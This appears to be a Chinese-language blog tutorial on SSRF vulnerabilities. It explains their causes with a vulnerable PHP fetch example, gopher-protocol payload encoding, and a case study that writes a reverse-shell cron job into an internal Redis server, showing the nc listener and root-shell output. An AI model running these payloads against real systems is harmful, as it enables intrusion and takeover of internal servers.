什么是SSRF
SSRF简称服务器请求伪造漏洞,一开始被称作XSPA漏洞---跨站端口攻击漏洞
攻击者构造恶意的URL,由服务器端发起请求的漏洞,简单来说就是让服务器替攻击者发请求
SSRF的形成原因
一般是服务端提供了从远程访问内网的功能,且没有对目标地址进行过滤和限制
比如
$imgUrl = $_GET['catchimage'];
$context = stream_context_create(
array('http'=>
array((
'follow_location' =>
false // don't follow redicrects
))
);
readfile($imgUrl,false,$context);
这串代码的意思是给用户提供一个抓取远程图片的功能
但是这串代码没有对catchimage参数进行过滤,从而导致用户可以构造URL,访问内网
我们假设这个内网的地址为192.168.50.24:8080
那么payload就是这样
127.0.0.1:8080/catchimage.php?catchimage=http://192.168.50.24:8080
这样我们就可以访问192的页面了
该漏洞实际上是操纵服务器去发送请求,内网无法直接访问,但是与内网相通的服务器可以所以我们就可以借服务器来访问内网的其他服务器
SSRF漏洞可能存在的地方
SSRF可能存在图片抓取,网页分享,FFmpeg转码等服务器对外发起请求的地方。测试时注意目标站点的功能,注意带有URL以及文件名等可疑参数等请求。
1、能够对外发起网络请求的地方,就可能存在SSRF漏洞
2、远程服务器请求资源的地方,如通过URL上传,导入文件或者RSS订阅等
3、数据库内置功能,Oracle,MongoDB,MSSQL,PostgreSQL,CouhDB等数据库都具有加载外部URL的功能
4、Webmail收取其他邮件,如POP3,IMAP,SMTP
5、文件处理,编码处理,属性信息处理,如FFmpeg,ImageMagic,Word,Excel,PDF,XML等
当发现了SSRF漏洞之后,接下来就是讨论如何利用了。但是要注意,在一些场景下,SSRF漏洞的利用会收到限制
1、OpenSSL
当服务器开启OpenSSL时,SSRF请求也必须遵守OpenSSL来交互,因而一些场景下无法直接利用
2、鉴权
大部分网站使用了cookie鉴权,还有一部分使用HTTP Basic认证,当攻击者仅能控制一个URL时,往往无法人为添加cookie或www-authenticate头部字段,进而无法访问部分接口
3、校验了其他头部字段情况
如:Referer。User-Agent
SSRF分类
根据SSRF漏洞在不同场景下的回显差异可以分为3类
1、有回显
2、半盲回显(半盲)
3、无回显(全盲)
全回显
有回显的SSRF比较容易理解,就是攻击者通过操作目标服务器所发出的请求,其相应内容可以回显在页面上
我们用bp抓包进行请求重放一般就可以在重放器里面看到所有的相应内容
半盲回显
就是接收不到任何的返回内容,但是可以得到请求成功或失败的信息提示
无回显
就是啥都收不到,任何响应的信息都接受不到,这时我们需要去借助盲打的形式,用DNS Log 或 HTTP Log来判断请求的成功与否
SSRF的危害
经过上面的介绍我们可以发现SSRF好像也没什么危害
其实SSRF的危害如下:
1、扫描内部网络,获取网络结构以及内网机器指纹(FingerPrint)
2、向内部请求任意主机的任意端口发送精心构造的数据包(Payload)
3、通过请求大文件,保持Keep-Alive发起拒绝服务攻击(Dos)
4、可枚举暴力破解用户名,目录,文件等,暴力破解(Brute Force)
利用
不同的SSRF发射点支持的协议也有所不同。SSRF发射点是指服务器端发送请求使用的语言和函数
比如:
PHP语言中常用libcurl扩展,Java语言有时回用HttpServlet类。有时也会使用其他类库(如ImageIO,OkHttp等)来间接调用
python语言则经常使用Request库和urllib2库
SSRF发射点决定了SSRF漏洞利用的可用性
libcurl库支持了很多的协议
经常使用的就是HTTP协议和GOPHER协议
GOPHER协议
是一种比HTTP协议还要古老的协议,他的默认工作端口是70,HTTP是80
GOPHER协议在SSRF漏洞的利用上比HTTP协议更加具有优势。由于SSRF漏洞通常只允许提交一个URL,所以,以HTTP协议来攻击的话,就只能通过GET请求
而GOPHER协议则可以以单个URL的形式传递POST请求,同时支持换行
对于JAVA来说,其支持的协议回受到JDK版本限制,在JDK8中移除了GOPHER协议的支持
这使得JAVA环境下的SSRF利用比PHP环境严格的多
GOPHER协议的格式
URL:gopher://<host>:<port>/<gopher-path>_(后接TCP数据流)
对于POST请求,可以变形为单行的GOPHER协议
HTTP协议的请求原文如下所示
POST /ssrf/base/post HTTP/1.1
HOST:192.168.0.109
name=MarginPOST /ssrf/base/post HTTP/1.1
HOST:192.168.0.109
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
name=Margin
将其封装为GOPHER协议
gopher://192.168.0.109:80/_POST%20/ssrf/base/post%20HTTP/1.1%0d%0aHOST%3a192.168.0.109%0d%0aContent-Type%3a%20application/x-www-form-urlencoded%0d%0aContent-Length%3a%2012%0d%0a%0d%0aname%3dMargin
案例
SSRF攻击内网Redis未授权服务
现在我们假设这个服务器存在SSRF漏洞,内网中有一台未授权访问的Redis服务器(假设ip地址为10.1.1.4)
那我们就可以通过SSRF来获取内网中这台服务器的权限
payload
set xxx "\n\n* * * * bash -i>& /dev/tcp/1.2.3.4/6666 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
该命令实现了创建一个/var/spool/cron 目录下root用户的定时任务,每分钟执行一次反弹shell的命令,然后对Payload进行二次URL编码,期间替换“%0a”为“%0d%0a”
使用NC监听
nc -lvvp 6666
执行后等待一分钟
# 攻击者端(nc -lvnp 6666)
Listening on 0.0.0.0 6666
Connection from 192.168.0.109 54321 received!
bash-5.0# id
uid=0(root) gid=0(root) groups=0(root)
bash-5.0# whoami
root
bash-5.0# ls -la /
drwxr-xr-x 19 root root 4096 Jul 31 10:00 .
bash-5.0#
我们就可以得到这个页面
除了攻击内网Redis外,通常还可以寻找FastCGI接口(9000端口)、FTP服务器、Tomcat 8005 端口(服务器关闭控制器)及8009端口(AJP协议、幽灵猫漏洞)Zabbix Agent 10050端口、Struts2漏洞服务器、Memcached服务器、CouchDB服务器等。总之,但是内网中鉴权不严格可以获取权限的服务器,或是存在RCE漏洞可以通过无交互Payload轻易GetShell的服务器都在考虑范围之内

Comments NOTHING